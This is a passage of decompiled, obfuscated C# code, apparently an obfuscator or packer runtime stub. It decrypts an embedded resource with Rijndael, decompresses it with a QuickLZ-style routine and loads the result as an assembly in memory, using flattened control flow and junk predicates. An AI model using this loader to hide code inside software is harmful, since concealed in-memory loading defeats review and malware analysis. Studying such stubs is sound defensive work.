numArray2[4] = (byte) (109 + 16); num1 = 113; if (true) goto label_22; label_260: numArray1[14] = (byte) (174 + 11); num1 = 223; goto label_22; label_261: // ISSUE: type reference binaryReader = new BinaryReader((Stream) YbbxknoBYLxEOxk0Pn.cIPpt1Fk5Y668kqFc2((object) YbbxknoBYLxEOxk0Pn.\u0036VN2YS9bmjHJ0MIncu(__typeref (tcJNIpeNWph4hwAAuQ)).Assembly, (object) tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1094))); num1 = 292; goto label_22; label_262: numArray1[10] = (byte) (67 + 97); num1 = 330; if (true) goto label_22; label_263: numArray1[9] = (byte) (155 - 51); num1 = 176; goto label_22; label_265: numArray2[13] = (byte) (72 + 111); num5 = 6; goto label_21; label_266: numArray5 = (byte[]) YbbxknoBYLxEOxk0Pn.BmkCyFHHIL76VHldY6((object) memoryStream); num1 = 90; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_95; else goto label_22; label_267: numArray1[3] = (byte) num3; num1 = 118; if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_22; label_268: numArray1[10] = (byte) num3; num1 = 116; goto label_22; label_269: numArray1[31] = (byte) (28 + 104); num1 = 230; if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_275; else goto label_22; label_270: numArray1[13] = (byte) num3; num5 = 17; goto label_21; label_271: numArray2[1] = (byte) num4; num5 = 225; goto label_21; label_272: num3 = 89 + 90; num1 = 342; if (true) goto label_22; label_273: num3 = 74 + 5; num1 = 85; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_260; else goto label_22; label_275: numArray2[2] = (byte) num4; num1 = 203; if (true) goto label_22; label_276: numArray2[2] = (byte) (86 + 73); num1 = 340; goto label_22; label_277: numArray1[14] = (byte) (71 + 3); num5 = 213; goto label_21; label_278: numArray2[5] = (byte) num4; num1 = 54; goto label_22; label_283: YbbxknoBYLxEOxk0Pn.CrrWHqcsx50TSKJvuh(YbbxknoBYLxEOxk0Pn.\u0034HtC5nv8XcO9RgF2J4((object) binaryReader), 0L); num1 = 258; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_261; else goto label_22; label_284: numArray1[2] = (byte) (133 - 118); num5 = 107; goto label_21; label_286: num3 = 35 + 67; num1 = 266; if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_268; else goto label_22; label_288: num3 = 235 - 78; num1 = 287; if (true) goto label_22; label_289: num3 = 164 - 54; num5 = 219; goto label_21; label_291: numArray1[17] = (byte) (91 + 68); num5 = 143; goto label_21; label_292: numArray4 = numArray1; num5 = 0; goto label_21; label_294: numArray1[24] = (byte) (168 - 56); num1 = 268; if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_270; else goto label_22; label_295: numArray2[12] = (byte) num4; num5 = 180; goto label_21; label_297: numArray1[1] = (byte) num3; num1 = 331; goto label_22; label_301: num3 = 173 - 57; num5 = 145; goto label_21; label_302: numArray2[5] = (byte) (87 + 76); num1 = 293; if (true) goto label_22; label_303: numArray1[7] = (byte) (234 - 78); num1 = 334; if (true) goto label_22; label_304: numArray2[4] = (byte) (31 + 88); num5 = 37; goto label_21; label_305: numArray2[4] = (byte) (81 + 94); num5 = 228; goto label_21; label_306: numArray1[2] = (byte) num3; num5 = 35; goto label_21; label_308: numArray2[1] = (byte) (214 - 71); num1 = 151; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_241; else goto label_22; label_311: num3 = 105 + 6; num1 = 224; goto label_22; label_315: numArray1[7] = (byte) num3; num5 = 244; goto label_21; label_320: numArray1[1] = (byte) num3; num1 = 177; goto label_22; label_322: numArray2[15] = (byte) num4; num5 = 242; goto label_21; label_323: num4 = 41 + 3; num5 = 270; goto label_21; label_324: numArray2[11] = (byte) num4; num5 = 199; goto label_21; label_325: num3 = 61 + 67; num1 = 20; goto label_22; label_328: numArray1[18] = (byte) (70 + 100); num1 = 254; if (true) goto label_22; label_329: num3 = 230 - 76; num5 = 30; goto label_21; label_333: num3 = 102 + 71; num1 = 150; goto label_22; label_335: numArray2[13] = (byte) (103 + 4); num1 = 241; if (true) goto label_22; label_336: numArray1[8] = (byte) num3; num1 = 33; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_352; else goto label_22; label_337: numArray1[15] = (byte) (165 + 21); num1 = 194; if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_22; label_338: numArray2[5] = (byte) (75 + 60); num5 = 205; goto label_21; label_340: numArray1[28] = (byte) (109 + 11); num5 = 344; goto label_21; label_342: num1 = 337; if (true) goto label_22; label_343: num4 = 179 - 59; num1 = 193; goto label_22; label_344: numArray2[8] = (byte) (155 - 51); num1 = 311; if (true) goto label_22; label_345: numArray1[1] = (byte) (69 - 10); num1 = 188; if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_22; label_346: numArray1[3] = (byte) (244 - 81); num1 = 123; if (true) goto label_22; label_347: numArray2[8] = (byte) (105 + 110); num1 = 248; if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_22; label_348: numArray2[12] = (byte) num4; num5 = 240; goto label_21; label_349: numArray2[7] = (byte) (18 + 60); num5 = 280; goto label_21; label_350: numArray1[16] = (byte) num3; num5 = 152; goto label_21; label_351: num3 = 105 + 78; num1 = 295; if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_305; else goto label_22; label_352: num3 = 170 - 56; num1 = 323; if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6()) goto label_22; label_353: num3 = 4 + 111; num1 = 7; if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB()) goto label_22; label_354: numArray1[20] = (byte) (2 + 95); num1 = 249; goto label_22; label_355: return (Assembly) null; label_357: rijndaelManaged = new RijndaelManaged(); num1 = 84; if (true) goto label_22; else goto label_302; } [MethodImpl(MethodImplOptions.NoInlining)] public YbbxknoBYLxEOxk0Pn() => AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(YbbxknoBYLxEOxk0Pn.Uj1VGPQhn); [MethodImpl(MethodImplOptions.NoInlining)] internal static void kLjw4iIsCLsZtxc4lksN0j() { if (YbbxknoBYLxEOxk0Pn.fTu8VEKSg) return; YbbxknoBYLxEOxk0Pn.fTu8VEKSg = true; if (Environment.GetEnvironmentVariable(tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1170)) == tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1214)) return; YbbxknoBYLxEOxk0Pn ybbxknoByLxEoxk0Pn = new YbbxknoBYLxEOxk0Pn(); } [MethodImpl(MethodImplOptions.NoInlining)] static YbbxknoBYLxEOxk0Pn() { } [MethodImpl(MethodImplOptions.NoInlining)] internal static Type \u0036VN2YS9bmjHJ0MIncu([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0); [MethodImpl(MethodImplOptions.NoInlining)] internal static object cIPpt1Fk5Y668kqFc2([In] object obj0, [In] object obj1) => (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0034HtC5nv8XcO9RgF2J4([In] object obj0) => (object) ((BinaryReader) obj0).BaseStream; [MethodImpl(MethodImplOptions.NoInlining)] internal static void CrrWHqcsx50TSKJvuh([In] object obj0, [In] long obj1) => ((Stream) obj0).Position = obj1; [MethodImpl(MethodImplOptions.NoInlining)] internal static long ixBAQJTGfCYrqbKeEu([In] object obj0) => ((Stream) obj0).Length; [MethodImpl(MethodImplOptions.NoInlining)] internal static object \u0031q1Ytpay3HDTvk0H9h([In] object obj0, [In] int obj1) => (object) ((BinaryReader) obj0).ReadBytes(obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static void d5bSH3LxyKFU3Kg4tt([In] object obj0, [In] CipherMode obj1) => ((SymmetricAlgorithm) obj0).Mode = obj1; [MethodImpl(MethodImplOptions.NoInlining)] internal static object LKX4l47Yoj2lWp0hqh([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2); [MethodImpl(MethodImplOptions.NoInlining)] internal static void t9BlppiIr5xtEoYSCx([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write((byte[]) obj1, obj2, obj3); [MethodImpl(MethodImplOptions.NoInlining)] internal static void wgwDwA8ohM5msjfHGT([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock(); [MethodImpl(MethodImplOptions.NoInlining)] internal static object BmkCyFHHIL76VHldY6([In] object obj0) => (object) ((MemoryStream) obj0).ToArray(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void UAiUy9DbJPvrtDfaYG([In] object obj0) => ((Stream) obj0).Close(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void EdMogJK23C5V2STpQS([In] object obj0) => ((BinaryReader) obj0).Close(); [MethodImpl(MethodImplOptions.NoInlining)] internal static object qiaGIPMaalUqZ3sMZf([In] object obj0) => (object) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.PMFLr6jcg((byte[]) obj0); [MethodImpl(MethodImplOptions.NoInlining)] internal static object ms7UFSxhLDM3n3ktTf([In] object obj0) => (object) Assembly.Load((byte[]) obj0); [MethodImpl(MethodImplOptions.NoInlining)] internal static object e8PiFxteCyHSGi0LgY([In] object obj0) => (object) ((Assembly) obj0).GetManifestResourceNames(); [MethodImpl(MethodImplOptions.NoInlining)] internal static object WS6tAn0RW8Hurp1Xwj([In] object obj0) => (object) ((ResolveEventArgs) obj0).Name; [MethodImpl(MethodImplOptions.NoInlining)] internal static bool tRIQC2fXT7g74mWlkL([In] object obj0, [In] object obj1) => (string) obj0 == (string) obj1; [MethodImpl(MethodImplOptions.NoInlining)] internal static bool GTJgvmVEjrh4CCn7N6() => true; [MethodImpl(MethodImplOptions.NoInlining)] internal static bool \u0035nPOsTBkhnyaq7ApAB() => false; private enum fFQvZdvdBStoltwFwV { } internal class P65q5rcw0MukklQaVB { [MethodImpl(MethodImplOptions.NoInlining)] private static unsafe uint Uj1VGPQhn([In] void* obj0, [In] uint obj1) { uint num = 0; if (BitConverter.IsLittleEndian) { num = *(uint*) obj0; } else { byte* numPtr = (byte*) obj0; switch (obj1) { case 1: num = (uint) *numPtr; break; case 2: num = (uint) *numPtr | (uint) numPtr[1] << 8; break; case 3: num = (uint) ((int) *numPtr | (int) numPtr[1] << 8 | (int) numPtr[2] << 16); break; case 4: num = (uint) ((int) *numPtr | (int) numPtr[1] << 8 | (int) numPtr[2] << 16 | (int) numPtr[3] << 24); break; } } return num; } [MethodImpl(MethodImplOptions.NoInlining)] private static unsafe void reWBsatke([In] uint obj0, [In] void* obj1, [In] uint obj2) { if (BitConverter.IsLittleEndian) { switch (obj2) { case 1: *(sbyte*) obj1 = (sbyte) (byte) obj0; break; case 2: case 3: case 4: *(int*) obj1 = (int) obj0; break; } } else { byte* numPtr = (byte*) obj1; switch (obj2) { case 1: *numPtr = (byte) obj0; break; case 2: *numPtr = (byte) obj0; numPtr[1] = (byte) (obj0 >> 8); break; case 3: *numPtr = (byte) obj0; numPtr[1] = (byte) (obj0 >> 8); numPtr[2] = (byte) (obj0 >> 16); break; case 4: *numPtr = (byte) obj0; numPtr[1] = (byte) (obj0 >> 8); numPtr[2] = (byte) (obj0 >> 16); numPtr[3] = (byte) (obj0 >> 24); break; } } } [MethodImpl(MethodImplOptions.NoInlining)] private static unsafe bool \u0039ML9lo6tT([In] void* obj0, [In] void* obj1, [In] uint obj2) { bool flag = true; for (uint index = 0; flag && index < obj2; ++index) flag = (int) *(byte*) ((IntPtr) obj0 + (int) index) == (int) *(byte*) ((IntPtr) obj1 + (int) index); return flag; } [MethodImpl(MethodImplOptions.NoInlining)] private static unsafe bool fTu8VEKSg([In] void* obj0, [In] string obj1) { byte[] bytes = Encoding.ASCII.GetBytes(obj1); fixed (byte* numPtr = bytes) return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039ML9lo6tT(obj0, (void*) numPtr, (uint) bytes.Length); } [MethodImpl(MethodImplOptions.NoInlining)] private static unsafe void HnbvO3JPm([In] void* obj0, [In] byte obj1, [In] uint obj2) { for (uint index = 0; index < obj2; ++index) *(sbyte*) ((IntPtr) obj0 + (int) index) = (sbyte) obj1; } [MethodImpl(MethodImplOptions.NoInlining)] private static unsafe void \u0031aAAcYcfl([In] void* obj0, [In] void* obj1, [In] uint obj2) { for (uint index = 0; index < obj2; ++index) *(sbyte*) ((IntPtr) obj0 + (int) index) = (sbyte) *(byte*) ((IntPtr) obj1 + (int) index); } [MethodImpl(MethodImplOptions.NoInlining)] private static unsafe void \u0039igTocIex([In] void* obj0, [In] string obj1) { byte[] bytes = Encoding.ASCII.GetBytes(obj1); fixed (byte* numPtr = bytes) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl(obj0, (void*) numPtr, (uint) bytes.Length); } [MethodImpl(MethodImplOptions.NoInlining)] private static unsafe void pnx70C29O([In] byte* obj0, [In] byte* obj1, [In] uint obj2) { if (BitConverter.IsLittleEndian) { if (obj2 < 5U) { *(int*) obj0 = (int) *(uint*) obj1; } else { byte* numPtr = obj0 + (int) obj2; while (obj0 < numPtr) { *(int*) obj0 = (int) *(uint*) obj1; obj0 += 4; obj1 += 4; } } } else if (obj2 > 8U && obj1 + (int) obj2 < obj0) { YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl((void*) obj0, (void*) obj1, obj2); } else { byte* numPtr = obj0 + (int) obj2; while (obj0 < numPtr) { *obj0 = *obj1; ++obj0; ++obj1; } } } [MethodImpl(MethodImplOptions.NoInlining)] private static unsafe uint UM3hfdlP3( [In] byte[] obj0, [In] uint obj1, [In] YbbxknoBYLxEOxk0Pn.fFQvZdvdBStoltwFwV obj2) { uint num = 0; fixed (byte* numPtr = obj0) { if (YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.fTu8VEKSg((void*) (numPtr + (int) obj1), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1220))) num = *(uint*) (numPtr + (int) obj1 + ((IntPtr) obj2 * 4).ToInt64()); } return num; } [MethodImpl(MethodImplOptions.NoInlining)] private static uint yGrGFt2Ng([In] byte[] obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.UM3hfdlP3(obj0, 0U, (YbbxknoBYLxEOxk0Pn.fFQvZdvdBStoltwFwV) 2); [MethodImpl(MethodImplOptions.NoInlining)] public static uint \u0034J3iGuO2D([In] byte[] obj0, [In] uint obj1) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.UM3hfdlP3(obj0, obj1, (YbbxknoBYLxEOxk0Pn.fFQvZdvdBStoltwFwV) 3); [MethodImpl(MethodImplOptions.NoInlining)] private static unsafe uint YPoCMoGHZ([In] byte[] obj0, [In] uint obj1, [In] byte[] obj2, [In] uint obj3) { fixed (byte* numPtr1 = obj0) fixed (byte* numPtr2 = obj2) { byte* numPtr3 = numPtr1 + (int) obj1; uint num1 = 32; byte* numPtr4 = numPtr3 + (int) obj3 - 1; byte* numPtr5 = numPtr3 + 1; byte** numPtr6 = (byte**) (numPtr2 + (int) obj3 + 36000 - ((IntPtr) sizeof (byte*) * 4096).ToInt64() - (long) (numPtr2 + (int) obj3) % 8L); byte* numPtr7 = numPtr2 + (int) num1; byte* numPtr8 = numPtr2 + (int) num1 + 4 + 1; byte* numPtr9 = numPtr8; byte* numPtr10 = numPtr5; uint num2 = 1073741824; uint* numPtr11 = (uint*) numPtr2; byte* numPtr12 = numPtr4 - 16; YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039igTocIex((void*) numPtr11, tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1232)); numPtr2[0] = (byte) 81; numPtr2[1] = (byte) 67; numPtr2[2] = (byte) 76; numPtr2[3] = (byte) 90; YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(3U, (void*) (numPtr11 + 1), 4U); YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(obj3, (void*) (numPtr11 + 3), 4U); for (uint index = 0; index < 4096U; ++index) *(IntPtr*) ((IntPtr) numPtr6 + (IntPtr) ((long) index * (long) sizeof (byte*))) = (IntPtr) numPtr3; (numPtr2 + (int) num1)[4] = *numPtr3; while (numPtr5 < numPtr12 - 2050) { if (((int) num2 & 1) == 1) { if (numPtr8 + 2050 + 128 > numPtr2 + (int) obj3 + 2050 + 256) { YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl((void*) (numPtr2 + (int) num1), (void*) numPtr3, obj3); YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(0U, (void*) (numPtr11 + 4), 4U); YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) obj3 + (int) num1 + 4), (void*) (numPtr11 + 2), 4U); YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039igTocIex((void*) (numPtr2 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr11 + 2), 4U) - 4), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1244)); return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr11 + 2), 4U); } YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((ulong) (num2 >> 1) | 18446744071562067968UL), (void*) numPtr7, 4U); numPtr7 = numPtr8; numPtr8 += 4; num2 = 2147483648U; if (numPtr8 - numPtr9 > numPtr5 - numPtr10 && numPtr5 + 4100 < numPtr12) { for (; numPtr5 < numPtr10 + 2050 - 32; numPtr5 += 31) { YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(2147483648U, (void*) (numPtr8 - 4), 4U); YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr8, numPtr5, 31U); numPtr8 += 35; } numPtr10 = numPtr5; numPtr9 = numPtr8; numPtr7 = numPtr8 - 4; } } if ((int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U) == (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr5 + 1), 4U)) { uint num3 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U); byte* numPtr13 = numPtr5; numPtr5 += 5; while ((int) num3 == (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U) && numPtr5 < numPtr13 + 2050 - 4) numPtr5 += 4; YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) (((int) num3 & (int) byte.MaxValue) << 16 | (int) (uint) ((ulong) (numPtr5 - numPtr13) << 4) | 15), (void*) numPtr8, 4U); numPtr8 += 3; num2 = num2 >> 1 | 2147483648U; } else { uint num4 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U); uint num5 = (uint) (((int) (num4 >> 12) ^ (int) num4) & 4095); byte* numPtr14 = (byte*) *(IntPtr*) ((IntPtr) numPtr6 + (IntPtr) ((long) num5 * (long) sizeof (byte*))); *(IntPtr*) ((IntPtr) numPtr6 + (IntPtr) ((long) num5 * (long) sizeof (byte*))) = (IntPtr) numPtr5; if (!BitConverter.IsLittleEndian ? numPtr5 - numPtr14 <= 131071L && numPtr5 - numPtr14 > 3L && (int) *numPtr5 == (int) *numPtr14 && (int) numPtr5[1] == (int) numPtr14[1] && (int) numPtr5[2] == (int) numPtr14[2] : numPtr5 - numPtr14 <= 131071L && numPtr5 - numPtr14 > 3L && (((int) *(uint*) numPtr14 ^ (int) *(uint*) numPtr5) & 16777215) == 0) { uint num6 = (uint) (numPtr5 - numPtr14); if (!BitConverter.IsLittleEndian ? (int) numPtr14[3] != (int) numPtr5[3] : (int) *(uint*) numPtr14 != (int) *(uint*) numPtr5) { if (num6 <= 63U) { *numPtr8 = (byte) (num6 << 2); ++numPtr8; num2 = num2 >> 1 | 2147483648U; numPtr5 += 3; } else if (num6 <= 16383U) { YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) num6 << 2 | 1), (void*) numPtr8, 2U); numPtr8 += 2; num2 = num2 >> 1 | 2147483648U; numPtr5 += 3; } else { *numPtr8 = *numPtr5; ++numPtr8; ++numPtr5; num2 >>= 1; } } else { num2 = num2 >> 1 | 2147483648U; uint index = 3; while ((int) numPtr14[(int) index] == (int) numPtr5[(int) index] && index < 2050U) ++index; numPtr5 += (int) index; if (index <= 18U && num6 <= 1023U) { YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) index - 3 << 2 | (int) num6 << 6 | 2), (void*) numPtr8, 2U); numPtr8 += 2; } else if (index <= 34U && num6 <= (uint) ushort.MaxValue) { YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) index - 3 << 3 | (int) num6 << 8 | 3), (void*) numPtr8, 3U); numPtr8 += 3; } else if (index >= 3U) { YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) index - 3 << 4 | (int) num6 << 15 | 7), (void*) numPtr8, 4U); numPtr8 += 4; } } } else { *numPtr8 = *numPtr5; ++numPtr8; ++numPtr5; num2 >>= 1; } } } while (numPtr5 <= numPtr4) { if (((int) num2 & 1) == 1) { YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(num2 >> 1 | 2147483648U, (void*) numPtr7, 4U); numPtr7 = numPtr8; numPtr8 += 4; num2 = 2147483648U; } *numPtr8 = *numPtr5; ++numPtr8; ++numPtr5; num2 >>= 1; } while (((int) num2 & 1) != 1) num2 >>= 1; YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(num2 >> 1 | 2147483648U, (void*) numPtr7, 4U); byte* numPtr15 = numPtr8 + 4; YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(1U, (void*) (numPtr11 + 4), 4U); YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((ulong) (numPtr15 - numPtr2) - 1UL + 4UL), (void*) (numPtr11 + 2), 4U); YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039igTocIex((void*) (numPtr2 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr11 + 2), 4U) - 4), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1256)); } return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.yGrGFt2Ng(obj2); } [MethodImpl(MethodImplOptions.NoInlining)] private static unsafe uint oEv1kgedQ([In] byte[] obj0, [In] uint obj1, [In] byte[] obj2) { fixed (byte* numPtr1 = obj0) fixed (byte* numPtr2 = obj2) { byte* numPtr3 = numPtr1 + (int) obj1; uint num1 = 32; byte* numPtr4 = numPtr3 + (int) num1; byte* numPtr5 = numPtr2; uint* numPtr6 = (uint*) numPtr3; byte* numPtr7 = numPtr2 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 3), 4U); uint num2 = 1; uint[] numArray = new uint[16] { 4U, 0U, 1U, 0U, 2U, 0U, 1U, 0U, 3U, 0U, 1U, 0U, 2U, 0U, 1U, 0U }; byte* numPtr8 = numPtr7 - 4; if (!YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.fTu8VEKSg((void*) numPtr6, tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1268)) || YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 1), 4U) != 3U || !YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.fTu8VEKSg((void*) (numPtr3 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 2), 4U) - 4), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1280))) return 0; if (YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 4), 4U) != 1U) { YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl((void*) numPtr2, (void*) (numPtr3 + (int) num1), YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 3), 4U)); return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 3), 4U); } if (numPtr5 >= numPtr8) { byte* numPtr9 = numPtr4 + 4; while (numPtr5 < numPtr7) { *numPtr5 = *numPtr9; ++numPtr5; ++numPtr9; } return (uint) (numPtr5 - numPtr2); } do { if (num2 == 1U) { num2 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr4, 4U); numPtr4 += 4; } uint num3 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr4, 4U); if (((int) num2 & 1) == 1) { num2 >>= 1; if (((int) num3 & 3) == 0) { uint num4 = (num3 & (uint) byte.MaxValue) >> 2; YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num4, 3U); numPtr5 += 3; ++numPtr4; } else if (((int) num3 & 2) == 0) { uint num5 = (num3 & (uint) ushort.MaxValue) >> 2; YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num5, 3U); numPtr5 += 3; numPtr4 += 2; } else if (((int) num3 & 1) == 0) { uint num6 = (num3 & (uint) ushort.MaxValue) >> 6; uint num7 = (uint) (((int) (num3 >> 2) & 15) + 3); YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num6, num7); numPtr5 += (int) num7; numPtr4 += 2; } else if (((int) num3 & 4) == 0) { uint num8 = (num3 & 16777215U) >> 8; uint num9 = (uint) (((int) (num3 >> 3) & 31) + 3); YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num8, num9); numPtr5 += (int) num9; numPtr4 += 3; } else if (((int) num3 & 8) == 0) { uint num10 = num3 >> 15; uint num11 = (uint) (((int) (num3 >> 4) & 2047) + 3); YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr5 - (int) num10, num11); numPtr5 += (int) num11; numPtr4 += 4; } else { byte num12 = (byte) (num3 >> 16); uint num13 = num3 >> 4 & 4095U; YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.HnbvO3JPm((void*) numPtr5, num12, num13); numPtr5 += (int) num13; numPtr4 += 3; } } else { YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr5, numPtr4, 4U); numPtr5 += (int) numArray[(IntPtr) (num2 & 15U)]; numPtr4 += (int) numArray[(IntPtr) (num2 & 15U)]; num2 >>= (int) (byte) numArray[(IntPtr) (num2 & 15U)]; } } while (numPtr5 < numPtr8); while (numPtr5 < numPtr7) { if (num2 == 1U) { numPtr4 += 4; num2 = 2147483648U; } *numPtr5 = *numPtr4; ++numPtr5; ++numPtr4; num2 >>= 1; } return (uint) (numPtr5 - numPtr2); } } [MethodImpl(MethodImplOptions.NoInlining)] private static byte[] \u0033REZxwYE8([In] string obj0) { byte[] buffer = (byte[]) null; FileStream fileStream = File.Open(obj0, FileMode.Open, FileAccess.Read, FileShare.Read); try { buffer = new byte[fileStream.Length]; fileStream.Read(buffer, 0, buffer.Length); } finally { fileStream.Close(); } return buffer; } [MethodImpl(MethodImplOptions.NoInlining)] public static byte[] B1Cp1eERm([In] string obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.DeWUrFjAC(YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0033REZxwYE8(obj0)); [MethodImpl(MethodImplOptions.NoInlining)] public static byte[] bhFIRp8Sr([In] string obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.PMFLr6jcg(YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0033REZxwYE8(obj0)); [MethodImpl(MethodImplOptions.NoInlining)] public static byte[] DeWUrFjAC([In] byte[] obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.gapYO5dWO(obj0, 0U, Convert.ToUInt32(obj0.Length)); [MethodImpl(MethodImplOptions.NoInlining)] public static byte[] PMFLr6jcg([In] byte[] obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039fUblSrWA(obj0, 0U); [MethodImpl(MethodImplOptions.NoInlining)] public static byte[] gapYO5dWO([In] byte[] obj0, [In] uint 